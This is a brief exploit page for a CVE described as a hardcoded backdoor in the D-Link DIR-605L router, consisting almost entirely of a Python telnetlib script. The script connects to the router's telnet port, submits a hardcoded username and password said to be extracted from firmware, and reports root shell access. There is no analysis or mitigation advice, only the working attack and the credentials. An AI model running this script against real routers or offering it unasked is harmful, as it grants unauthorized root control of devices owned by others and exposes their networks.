CVE-2026-42373 D-Link DIR-605L硬编码后门漏洞

import telnetlib import sys # Target IP address of the vulnerable device HOST = '192.168.0.1' PORT = 23 # Hardcoded credentials extracted from firmware USER = 'Alphanetworks' PASS = 'wrgn76_dlwbr_dir605L' def exploit(): try: # Establish Telnet connection tn = telnetlib.Telnet(HOST, PORT, timeout=10) # Wait for login prompt tn.read_until(b"login: ", timeout=5) tn.write(USER.encode('ascii') + b"\n") # Wait for password prompt tn.read_until(b"Password: ", timeout=5) tn.write(PASS.encode('ascii') + b"\n") # If successful, we have a root shell print("[+] Exploit successful! Root shell access granted.") print(tn.read_all().decode('ascii')) tn.close() except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()